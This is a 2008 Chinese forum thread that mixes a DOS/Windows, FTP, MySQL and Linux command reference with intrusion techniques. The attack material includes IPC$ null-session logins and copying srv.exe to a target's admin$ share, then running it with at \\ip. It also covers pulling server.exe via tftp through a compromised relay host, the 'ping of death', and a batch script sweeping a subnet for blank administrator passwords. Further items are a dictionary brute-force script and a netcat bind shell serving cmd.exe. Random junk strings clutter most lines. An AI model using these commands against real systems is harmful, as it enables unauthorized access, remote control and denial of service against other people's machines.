青华模具培训学校

 找回密码
 注册

QQ登录

只需一步,快速开始

青华模具培训学院
查看: 3753|回复: 3

DOS- 命令行

[复制链接]
发表于 2008-7-26 08:22 | 显示全部楼层 |阅读模式
net use \\ip\ipc$ " " /user:" " 建立IPC空链接 4 y) |0 X( c4 T' @$ p% \! A/ G
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
$ x0 o# [$ p: C& e. D) M' ~net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: ' q) j% P9 r! G
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
2 o+ z: q3 |; b; d* U2 \net use \\ip\ipc$ /del 删除IPC链接 - z! u$ {0 h0 E9 U+ s' w, E; Y
net use h: /del 删除映射对方到本地的为H:的映射 * r* P9 F0 L) J& l3 o
net user 用户名 密码 /add 建立用户 / |2 N; H9 R  J# K9 _3 K
net user guest /active:yes 激活guest用户 7 p! ^3 e, C9 J6 ]9 l
net user 查看有哪些用户
: J6 G) S' d0 j# ^net user 帐户名 查看帐户的属性
6 J: ]8 j5 ]0 S" T0 h8 K  Gnet localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 : T% d1 R" S- S8 o/ M
net start 查看开启了哪些服务
$ Y9 j. C  D1 K) q& X8 Znet start 服务名  开启服务;(如:net start telnet, net start schedule)
" M$ I' L8 `2 v# J. ]net stop 服务名 停止某服务
* r# ^+ G: y% p7 ^net time \\目标ip 查看对方时间
# [+ w; E4 s. c9 g: @4 d$ a' Pnet time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 ; n& m+ I' I+ {6 S! p$ d- T6 M, K
net view 查看本地局域网内开启了哪些共享
- ?  Q# }" U" Lnet view \\ip 查看对方局域网内开启了哪些共享 , D, c! |; M' M
net config 显示系统网络设置
2 B( H& p1 q/ o2 D( H- M6 Dnet logoff 断开连接的共享 : P3 n+ ]4 ?, h9 |" n4 f8 B, E7 i3 @
net pause 服务名 暂停某服务
# L9 Y0 Q+ w; t( n* Vnet send ip "文本信息" 向对方发信息
* |3 x( x- t# _4 gnet ver 局域网内正在使用的网络连接类型和信息 ' c; g( u  H1 w7 G7 B) W
net share 查看本地开启的共享 , {# L" A1 u5 U: s% o$ c
net share ipc$ 开启ipc$共享
  g) R9 d( L! ]* Ynet share ipc$ /del 删除ipc$共享
" U  P4 }+ K) I# Unet share c$ /del 删除C:共享
/ j' w; @8 y- [. h3 gnet user guest 12345 用guest用户登陆后用将密码改为12345
; A3 D) l9 L5 Snet password 密码 更改系统登陆密码
* B4 U. x& O# H$ s  P1 vnetstat -a 查看开启了哪些端口,常用netstat -an
0 u- Y! n. }" Z1 o8 Enetstat -n 查看端口的网络连接情况,常用netstat -an
3 D" o2 E, n$ y* mnetstat -v 查看正在进行的工作
( `5 c' M1 @; M3 b. _1 mnetstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) ' T# [3 w  O0 r; g( ?) n
netstat -s 查看正在使用的所有协议使用情况 . V3 J" S) ^1 d( V, E# }4 |2 d
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 ) X& U- m9 [/ W
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
" v3 g' @. H4 [5 L+ k% aping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 : n: {/ S" h( \
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) ! _8 V$ R( F# d
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息 - k" m4 Z3 b$ s' Q6 G  Z
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) - b! L: W- V: X* p) \$ M  U
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
# }8 q  J5 t5 N4 G9 d! [del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件 $ J% w8 }/ z. H% x2 o
8 O  p4 S% u) @
#2 二:
& t/ D6 C, W2 u. e, Q
7 E3 @" W: K" {$ ?del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
! n7 f# Y( k* fmove 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 - h' O. e# \/ n+ Z4 r1 J
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令 8 o; K; v+ B; a' D+ {
at id号 开启已注册的某个计划任务 9 }  ^* ?8 N3 M! B+ `
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
$ w8 V7 v/ Q9 u- Y0 _# aat id号 /delete 停止某个已注册的计划任务 3 j  P0 M2 @7 k  x, y
at 查看所有的计划任务
# x- [2 S; }% f3 t) zat \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 * m) @8 @% [! U# U% g' o4 `
finger username @host 查看最近有哪些用户登陆 9 S  }: T" e8 j/ l9 _' \
telnet ip 端口 远和登陆服务器,默认端口为23 6 E9 W3 R* e% @7 F9 O4 r, o
open ip 连接到IP(属telnet登陆后的命令)
; Z! b/ _& l( f6 y7 Ptelnet 在本机上直接键入telnet 将进入本机的telnet
) f' T. E" z+ Lcopy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件 . R3 n% d% C2 _8 D. W; M* y
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
/ p7 D, M+ `+ O/ W4 T; U/ {2 ucppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
' W7 K" N8 w, s+ bcopy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
$ [6 u9 ]' |* T( m& m. ~xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
7 ?0 n5 ~, k  C% Q9 U9 ?tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
; R! W( |$ z6 H7 v% Ptftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
) l( e. L) J, j4 J1 pftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
8 Z, _: @' Y* r9 s" O, Rroute print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
9 X' L1 U6 j7 E5 aarp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 , a) m. ^: v. |/ R" a/ v5 v
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 9 [9 T9 b( L& H  ^& b% c( r
mem 查看cpu使用情况
" G9 v) I) \; Z0 L" l2 o# M& qattrib 文件名(目录名) 查看某文件(目录)的属性
8 j0 X$ I! R" Q) f% ]0 p# O* eattrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
$ }% u7 m9 k' f1 A% P$ ~; |$ ydir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间 : S$ A2 I/ O$ k* v4 ~  G+ Z
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
" ~$ x( a5 N8 y) x7 [/ `set 指定环境变量名称=要指派给变量的字符 设置环境变量
8 n7 O* z2 l3 b" G* R. Rset 显示当前所有的环境变量
& }6 O: F8 P% |+ Z' ?set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
$ S2 X2 h& D9 ?/ B" H. spause 暂停批处理程序,并显示出:请按任意键继续.... + W/ J! ~7 M) G8 [) y1 ^3 X$ t
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
, s* [$ b2 S9 a9 {% b* ?$ ?! ~goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
5 m, Y: d+ l" ncall 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
! t; ?; O3 ?' N2 Rfor 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量) 7 c/ L( o- ~2 P
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
6 C/ L9 Q$ q* v' f/ E) eecho 信息 在屏幕上显示出信息 7 q7 g) X/ q- H) \8 V
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
% y- a( R) a% i& e/ o. l. l, Nfindstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello " t; C0 u, K; h
find 文件名 查找某文件 # A, Y$ x: q. [7 I& w" @
title 标题名字 更改CMD窗口标题名字 # ^+ Y' X* \2 M% _
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
8 R) }- F3 F$ N  s$ R/ qprompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
 楼主| 发表于 2008-7-26 08:23 | 显示全部楼层

接上面

#3 三: , N7 K/ M5 ^: I9 m

" N- x7 y; Z! w* ~' m  M: ever 在DOS窗口下显示版本信息 / C: r2 Y3 u! `) ~" I
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
) |: K% k( l1 n1 q9 \format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
6 Z! d7 p6 O8 h. I: pmd 目录名 创建目录 8 e% ~# }: M- _0 V) H& }
replace 源文件 要替换文件的目录 替换文件
5 h, o' j, A9 f; U# R) U  [ren 原文件名 新文件名 重命名文件名 + Q0 H3 c. b3 u4 K# C
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称 / U2 r) z2 `( o$ u( A; S
type 文件名 显示文本文件的内容 0 F: s- u( {+ I, r' l! _! @0 E. }  M
more 文件名 逐屏显示输出文件
" d  f1 `  P9 l4 S1 Bdoskey 要锁定的命令=字符
4 \$ `0 u+ {" E' B. ?& F/ l4 adoskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir= + r+ z1 |9 P2 V
taskmgr 调出任务管理器 " r. n/ k' O) y
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
0 r4 e7 y. X  w' t8 a* Q; \7 Ltlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
/ u- H; n6 A0 }( Vexit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe ( E$ j: }: R+ S4 b
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
5 f( D( I$ D& ?7 o7 M' lcmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /? # f% x4 V" g) v) S% m7 ]- P' w; |
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示; ( Z- L2 d, X6 n
regedit /e 注册表文件名 导出注册表
) u& @- w7 @7 b* {2 x$ Ccacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 : B. ~5 H- G* F6 i
cacls 文件名 查看文件的访问用户权限列表 3 h* j* a3 l2 P3 ?9 ^
REM 文本内容 在批处理文件中添加注解
7 n7 |4 E7 ~7 C% L) ?netsh 查看或更改本地网络配置情况 ' O' j' ?) z+ i4 q% C

9 X5 q( h5 l7 t0 y#4 四:
5 }& K1 M9 ~3 y* }7 @, W1 D0 X+ |2 D
IIS服务命令:   Y$ o0 G3 q' s" j/ a
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
  H' C1 S  A7 @/ qiisreset /start或stop 启动(停止)所有Internet服务
0 G0 W) |8 |( V; f% ~+ N* ?0 C& Jiisreset /restart 停止然后重新启动所有Internet服务
' b- e4 J/ ?! f& ]5 c! eiisreset /status 显示所有Internet服务状态
2 [" K8 r: L- Viisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 ( a# z8 ?( x4 A7 E  B9 D: m+ G3 m
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
# G: c5 O* t& a2 d/ _$ Piisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
/ ?" S. }( ]" E" Q5 q8 G* v; i, Kiisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
6 y( B% E; K3 Q) b5 X. LFTP 命令: (后面有详细说明内容) ' B1 ^2 c* ~. X, ?+ D6 r
ftp的命令行格式为:
# J( ]1 D! v& w. e0 s( m0 t. Gftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
4 b+ m! B' z, ^$ F, W8 C: b-d 使用调试方式。
: h5 V% S/ `' S7 Y-n 限制ftp的自动登录,即不使用.netrc文件。
% |* P3 k$ ], L  j* Q, \/ H-g 取消全局文件名。
4 u/ P/ ]1 |& x3 L9 jhelp [命令] 或 ?[命令] 查看命令说明 % s) G) }0 d; Z+ u% O  M
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
1 M5 O7 W; g6 C  A$ E( Kpwd 列出当前远端主机目录
0 W% C& O' f# \6 q  Yput 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 ) d: b4 Q+ J- {5 n  m! J% u. A. b
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 0 N/ N3 t% m: O& P
mget [remote-files] 从远端主机接收一批文件至本地主机
. T' k: T. Z; e+ r% {. [: dmput local-files 将本地主机中一批文件传送至远端主机 ( l9 I0 p6 G2 i0 g5 {
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
/ m( u9 i  L) I' aascii 设定以ASCII方式传送文件(缺省值) # |& S% l9 Q7 y
bin 或 image 设定以二进制方式传送文件
7 H, O( t1 `# M& \; bbell 每完成一次文件传送,报警提示 1 N1 p9 p) T3 Z/ D' J
cdup 返回上一级目录
7 z& M7 W8 t! D8 a7 Y5 |# rclose 中断与远程服务器的ftp会话(与open对应) - \$ ?% s+ ?) t: c
open host[port] 建立指定ftp服务器连接,可指定连接端口 ; [7 i% L. @" l' y
delete 删除远端主机中的文件
6 m" {$ t! U8 X' {2 B8 hmdelete [remote-files] 删除一批文件 / S; I. N6 B  H0 s& t. Q5 y2 i
mkdir directory-name 在远端主机中建立目录
8 E  V) j# K  }' {rename [from] [to] 改变远端主机中的文件名
4 M# v* y5 Z5 c' u1 O7 }0 }; `' ~* m. ^. ~rmdir directory-name 删除远端主机中的目录
( Q" N8 M8 I5 I* A; i6 e5 `, Q5 lstatus 显示当前FTP的状态
6 ?! X2 x0 W7 {! V& B& Ssystem 显示远端主机系统类型 ; F& @8 x" m' W% b, Y5 s0 I: x: I
user user-name [password] [account] 重新以别的用户名登录远端主机 8 a( K  M7 U9 w: X( H6 o( e0 V4 O7 s
open host [port] 重新建立一个新的连接 , M- W/ E- Y6 n5 G
prompt 交互提示模式
: @3 _/ E" W% s+ q3 p8 a( ymacdef 定义宏命令 / E) S% H' I7 u- a; F6 N, M2 l
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 : R) v/ ~( f7 w* |, V  ]* q
chmod 改变远端主机的文件权限
! ^* f( B6 r7 Z/ Ycase 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 $ ?; Z# v$ J) B/ d! L) a
cd remote-dir 进入远程主机目录
* O# y* g& P4 L$ B" X: Qcdup 进入远程主机目录的父目录
& A, O* N" _7 W0 ^' _5 O7 C% L! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
# K& _. U, {/ I" p; f- X+ w/ @( r8 O% D; p7 c; c
#5 五:
* L& b" U; O& S5 |% w/ w+ b. y# ~5 s) ]2 q, ^3 r
MYSQL 命令:
+ B# u" S6 P* Q! L  S3 Mmysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。 # A7 y6 E+ d4 H2 E4 j+ l
(例:mysql -h110.110.110.110 -Uroot -P123456
) W/ S2 h, q- a3 t+ Y注:u与root可以不用加空格,其它也一样) - a. s  A0 U; v4 O$ V
exit 退出MYSQL & b7 Z% t4 g: S. q6 v
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 4 f# v9 d- b! U  F. m7 i0 z
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
) P0 C6 v% s$ p' [- t* n; ushow databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。 & v- V: C# j! f& S* a
use mysql; 3 l/ U3 u& d1 k
show tables; 显示库中的数据表
1 U1 p: U! w9 P& r* s, p) Edescribe 表名; 显示数据表的结构
* e# n* x3 d( l/ c2 ~/ Pcreate database 库名; 建库
5 P$ G( @* A, Y5 q% fuse 库名;
% G  e. s9 R+ y  t& _create table 表名 (字段设定列表); 建表
$ D7 z% c! W+ K- T/ t3 Ldrop database 库名;
" z& [* j5 w& H+ h8 {$ Hdrop table 表名; 删库和删表
4 C4 K" v: B8 @% P- m4 d# ]3 V& @delete from 表名; 将表中记录清空 ! }2 x# \4 N; o: a4 I: D7 V
select * from 表名; 显示表中的记录 : q& U" [( C- L& Q9 w$ Q
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 & B9 U: ~2 q4 r; A" r
win2003系统下新增命令(实用部份): : U, c3 M6 v" Z- ~; v% i3 J- M
shutdown /参数 关闭或重启本地或远程主机。 # l( l1 G, }, n- W5 ^" _
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。 " @9 }- s; G: I" c8 S9 h
例:shutdown /r /t 0 立即重启本地主机(无延时)
- H  E5 y2 B' N! W( t. X2 G9 ]taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
2 C% V, {7 B- q% B/ {8 l% D+ t% k) y参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。 ( N6 @& ^5 W* O  Z2 B
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。 # t+ `" L( s9 j
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。 . }* q( i2 U& e

! R. R4 g7 N4 o, Q! m( M#6 六:
' u! u# P5 |0 [3 B# m5 o# i
( F- w" B+ `5 y4 U, r% P1 ZLinux系统下基本命令: 要区分大小写 8 {7 f. v0 _1 N% z$ @
uname 显示版本信息(同win2K的 ver) % O' K. I0 ]' o( z
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir) ) ~7 P, }, V9 C' a
pwd 查询当前所在的目录位置
& W7 H$ H, O# L0 f8 c8 rcd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。 - o2 z9 M5 \9 A5 ], o& L/ p8 M/ s
cat 文件名 查看文件内容
' N4 K% K. K; n: G9 Hcat >abc.txt 往abc.txt文件中写上内容。
+ Z1 T0 h" o1 P" K  i: Imore 文件名 以一页一页的方式显示一个文本文件。
2 l! S( Z8 [/ b' \9 g% Gcp 复制文件 1 H/ E1 B% W2 J, U- n. u
mv 移动文件 ) O6 ]& X* e- ^
rm 文件名 删除文件,rm -a 目录名删除目录及子目录 . u( z, x! ^& i( o, D0 ]  x
mkdir 目录名 建立目录 5 w1 ?& r; G# i* A% B* K/ e4 R
rmdir 删除子目录,目录内没有文档。
2 y( f% f- r6 {: u+ pchmod 设定档案或目录的存取权限
5 F6 m& `! R0 U- jgrep 在档案中查找字符串 " h/ M, A6 s! d" L
diff 档案文件比较 0 `" U& e' M1 l* Y- B
find 档案搜寻
% T$ W" C! A2 N. idate 现在的日期、时间
$ `# [9 F$ O1 j% j( Gwho 查询目前和你使用同一台机器的人以及Login时间地点
" Z/ H, k% x. B. [( Mw 查询目前上机者的详细资料 , N% `7 ]8 @- h9 m4 ]! T
whoami 查看自己的帐号名称
9 ]# @8 ?8 R( \0 z7 H' Xgroups 查看某人的Group
7 X* w  Q& y% ]1 \& Hpasswd 更改密码 $ [2 M7 ]& }( e  q6 p
history 查看自己下过的命令 * w8 o+ r  e. x: G; i9 v
ps 显示进程状态 1 D2 p) q0 q9 S7 j1 e& M; X: ?
kill 停止某进程
8 s% e+ u( P, U- E5 ]0 cgcc 黑客通常用它来编译C语言写的文件
, |  L7 W  m; }  M% d0 `; `1 n+ V( rsu 权限转换为指定使用者
4 I5 W* G3 Z1 r# {8 o$ Utelnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
7 \* p) q2 V( L( d" v* A" Y0 ?ftp ftp连接上某服务器(同win2K)
5 i0 r2 A) A- P( X( S2 A& }, E% q& L, v1 s1 M8 e" f; l4 V
附:批处理命令与变量 0 z" U1 l! W" w9 {, {6 z
1 g# S! N  W0 B8 e8 h- I3 X6 A, }
1:for命令及变量 基本格式:
# B5 N3 |) O0 ]6 R* RFOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。 & Q5 [) s, i+ {6 I8 n/ A, b
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3 % W2 O$ E% P& N) g9 J

; x6 M, I% T# e& x1 f( w0 Y. _(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 } 9 n* }$ d4 U1 V( @4 j& y' u( I
! \- B& u' f' }( [( n9 L1 Z
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
3 j# l  a( B3 J& {& d/ }command_parameters:为特定命令指定参数或命令行开关 8 n2 l$ }! E% m, e9 q7 L% z3 g( I

8 t3 x3 o9 r8 I+ {4 MIN (set):指在(set)中取值;DO command :指执行command . L  N$ C. p4 X! }9 y2 n9 P* f% F
( l/ f8 ~7 K4 X' [9 d2 r
参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。   Y/ V& F3 L' `: d8 Q4 K- M, y
用法举例:
: i2 d# \3 s+ r/ y6 Z0 F; [0 I@echo off
. c6 y9 ^" n1 r! k% T* U7 recho 用法格式:test.bat *.*.* > test.txt 3 o  L: p. G; {4 i

) U% G' T8 k8 d: d5 {! B$ mfor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
4 A6 C$ [5 D7 K% a# [0 s存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
5 z* t8 j; U) F5 U
( w9 G5 x$ p- h/ ?6 F3 d/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。 ! c% `/ V' i* i0 q/ y. H
@echo off
* _& Z" Q! @5 V' R7 i2 Hecho 用法格式:ok.bat ip 9 j: [8 {6 ?) o! f7 T
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
. b# W0 c+ W9 y6 |! J5 }存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
 楼主| 发表于 2008-7-26 08:24 | 显示全部楼层

接.................

#7 七:
. S$ P: U9 _8 I. h: `0 q0 a! G( F7 x3 Q
2:if命令及变量 基本格式:
& |& L- h- m6 M) Y7 @4 }IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。 / W  G# l# ^7 Z  J8 {6 I2 k
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。 ' v) k6 R9 V- ]4 n1 `! Y7 Q# [. \2 t
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
* ?, Z/ O# U" B7 K- }IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
; o" I3 a7 `. e9 U例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ") 1 {* o/ j' V+ n* U6 P
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
6 Y* h, Q/ A( a" [6 ]6 @例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。 " o" N" k' ?) ?9 r1 M0 l8 }$ \) }
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”
" C7 P$ E' |$ l+ k% s: j1 v+ A
- ~' A. @5 F+ D6 e4 ~- T* e% q(二)系统外部命令(均需下载相关工具):
  p2 }. v% ]4 A& e3 ], a4 S# Y
8 L# b4 j$ U; X2 ^- n& d1、瑞士军刀:nc.exe
% C* U1 C% S: d& k3 f5 d" d6 Z6 C+ k0 T, l1 H3 W& j& q# E( Y
参数说明:
  S- y: X: w* M) a& s! x% G1 D# L' j-h 查看帮助信息
4 s0 c5 r2 h- N  a7 |* R# ~-d 后台模式 + e+ R/ L4 T- k, e
-e prog程序重定向,一但连接就执行[危险]
; Z9 f1 O5 c/ D% ]$ W+ {-i secs延时的间隔
5 R7 a- K  H! p% o# v+ H$ n1 y0 m8 s-l 监听模式,用于入站连接
9 i7 F$ S9 W3 \7 N' W. @* O-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
' s- B+ }$ C8 {0 R" N  l-n IP地址,不能用域名
, N3 d& K9 S7 c) `-o film记录16进制的传输 ! z! M8 z! r" ~6 c# Q8 ^2 o3 E4 I" c7 S
-p[空格]端口 本地端口号 0 q5 k& h) [0 R: W1 m
-r 随机本地及远程端口 # T& Q8 T2 F4 [4 R$ T. z- P
-t 使用Telnet交互方式
- I5 z* m' H' v5 Y! D& ]% W6 B-u UDP模式
  {2 [& Y) F4 j; H-v 详细输出,用-vv将更详细 " t) @$ L2 M4 \
-w数字 timeout延时间隔 2 {* b  c* G% P$ j' I; g' O7 @
-z 将输入,输出关掉(用于扫锚时)
; ^$ m5 f) W! H' j! X基本用法: : P8 G1 w; y+ g$ A/ X( _
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 ) C' v/ y: F$ f, t
nc -l -p 80 开启本机的TCP 80端口并监听
9 u9 N/ X; z3 {* pnc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 * G; o) f, H6 i4 r: P
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
